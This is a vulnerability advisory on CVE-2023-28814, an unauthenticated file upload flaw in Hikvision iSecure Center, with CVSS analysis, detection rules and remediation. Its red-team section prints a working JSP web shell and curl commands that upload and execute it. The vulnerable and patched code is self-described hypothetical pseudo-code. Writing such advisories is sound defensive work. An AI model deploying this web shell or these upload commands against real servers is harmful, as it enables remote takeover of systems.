CVE-2023-28814

Executive Summary

CVE-2023-28814 is a critical improper file upload control vulnerability in Hikvision’s iSecure Center software, a platform designed exclusively for the Chinese domestic market. The vulnerability allows an unauthenticated attacker to upload arbitrary files to the server due to insufficient verification of file types during the upload process. With a CVSS score of 9.8, this flaw can lead to remote code execution, full system compromise, and potential lateral movement within the network. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity demands immediate attention.

Supply Chain & Package Security

This vulnerability is not related to open-source packages (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product from Hikvision. Organizations using iSecure Center should treat it as a high-risk supply chain component and isolate it from critical networks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Arbitrary file upload can lead to system modification.
• Availability Impact: High (A:H) – Potential denial of service or full system takeover.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using iSecure Center.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Hikvision iSecure Center. The software fails to properly validate the type, content, or extension of uploaded files. An attacker can craft a malicious file (e.g., a web shell, executable, or script) and upload it to the server via an HTTP request to the vulnerable endpoint. Once uploaded, the file can be executed or accessed, leading to remote code execution.

Root Cause: The application does not enforce a whitelist of allowed file types or perform content-type verification. It may rely solely on client-side checks or MIME type headers, which are easily bypassed.

Attack Flow:

1. Attacker identifies the file upload endpoint (e.g., /upload, /api/upload, or similar).
2. Attacker sends a POST request with a malicious file (e.g., a JSP or PHP web shell) disguised as a legitimate file type.
3. The server stores the file in a web-accessible directory (e.g., /uploads/ or /files/).
4. Attacker accesses the uploaded file via a browser or tool, triggering execution.
5. The web shell provides remote command execution, allowing the attacker to pivot, exfiltrate data, or install backdoors.

Affected Versions: All versions of iSecure Center released for the Chinese domestic market are potentially vulnerable. No specific version range has been disclosed by the vendor.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code likely resembles:

# Vulnerable pseudo-code
@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('uploads', filename))
    return 'File uploaded successfully'

A patched version would include:

# Patched pseudo-code
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file.save(os.path.join('uploads', filename))
        return 'File uploaded successfully'
    return 'Invalid file type', 400

Additionally, content-type verification and server-side file scanning should be implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Hikvision iSecure Center (any version) running on a Windows or Linux server.
• Attacker: Kali Linux with Burp Suite or curl.

Exploitation Steps:

1. Identify the upload endpoint (e.g., via directory brute-forcing or API documentation).
2. Create a malicious web shell (e.g., cmd.jsp for Java-based servers or shell.php for PHP).

// cmd.jsp - Simple JSP web shell
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>

3. Upload the file using curl:

curl -X POST -F "file=@cmd.jsp" http://target-ip/upload

4. Access the uploaded file:

curl http://target-ip/uploads/cmd.jsp?cmd=whoami

5. If successful, escalate to a reverse shell or perform post-exploitation.

Note: No public exploit code exists; this is a hypothetical scenario based on the vulnerability description.

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual file uploads (e.g., .jsp, .php, .exe, .war files).
• Implement strict file upload validation at the application and network level.
• Use a Web Application Firewall (WAF) to block malicious file types.
• Enable logging and alerting on file upload events.
• Conduct regular vulnerability scans and penetration tests.

Indicators of Compromise (IOCs)

• File Hashes (MD5): None available (no known samples).
• Network Indicators:
  • POST requests to /upload, /api/upload, or similar endpoints with multipart/form-data.
  • Outbound connections from the server to unknown IPs (possible reverse shell).
• File System Indicators:
  • Unexpected files in web-accessible directories (e.g., /uploads/, /files/).
  • Files with extensions .jsp, .php, .asp, .exe, .war in upload directories.
• Log Indicators:
  • HTTP 200 responses to file upload requests followed by access to the uploaded file.
  • Repeated upload attempts from the same IP.

Detection Engineering

YARA Rule

rule CVE_2023_28814_Hikvision_iSecure_Upload {
    meta:
        description = "Detects malicious file uploads targeting CVE-2023-28814"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-28814"
    strings:
        $jsp_webshell = "Runtime.getRuntime().exec" nocase
        $php_webshell = "system(" nocase
        $asp_webshell = "WScript.Shell" nocase
        $exe_header = "MZ" ascii
    condition:
        any of ($jsp_webshell, $php_webshell, $asp_webshell, $exe_header)
}

Sigma Rule

title: CVE-2023-28814 - Hikvision iSecure Center File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to file upload endpoints with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/upload'
        cs-uri-query|endswith:
            - '.jsp'
            - '.php'
            - '.asp'
            - '.exe'
            - '.war'
    condition: selection
falsepositives:
    - Legitimate file uploads (e.g., images, documents)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-28814 - Hikvision iSecure Center File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:".jsp"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate iSecure Center: If possible, disconnect the system from the internet and restrict network access to trusted IPs only.
2. Implement WAF Rules: Block file uploads with executable extensions (.jsp, .php, .asp, .exe, .war).
3. Monitor Logs: Review web server logs for suspicious upload activity.
4. Apply Virtual Patching: Use a WAF or IPS to block known attack patterns.

Long-Term Fix:

• Contact Hikvision for an official patch or upgrade path.
• If no patch is available, consider replacing iSecure Center with an alternative solution.
• Implement strict file upload validation (whitelist extensions, content-type checks, file scanning).
• Conduct a security audit of the application.

Workaround:

• Disable the file upload feature if not essential.
• Restrict upload directories to non-executable permissions (e.g., no execute bit on Linux).

Valters IT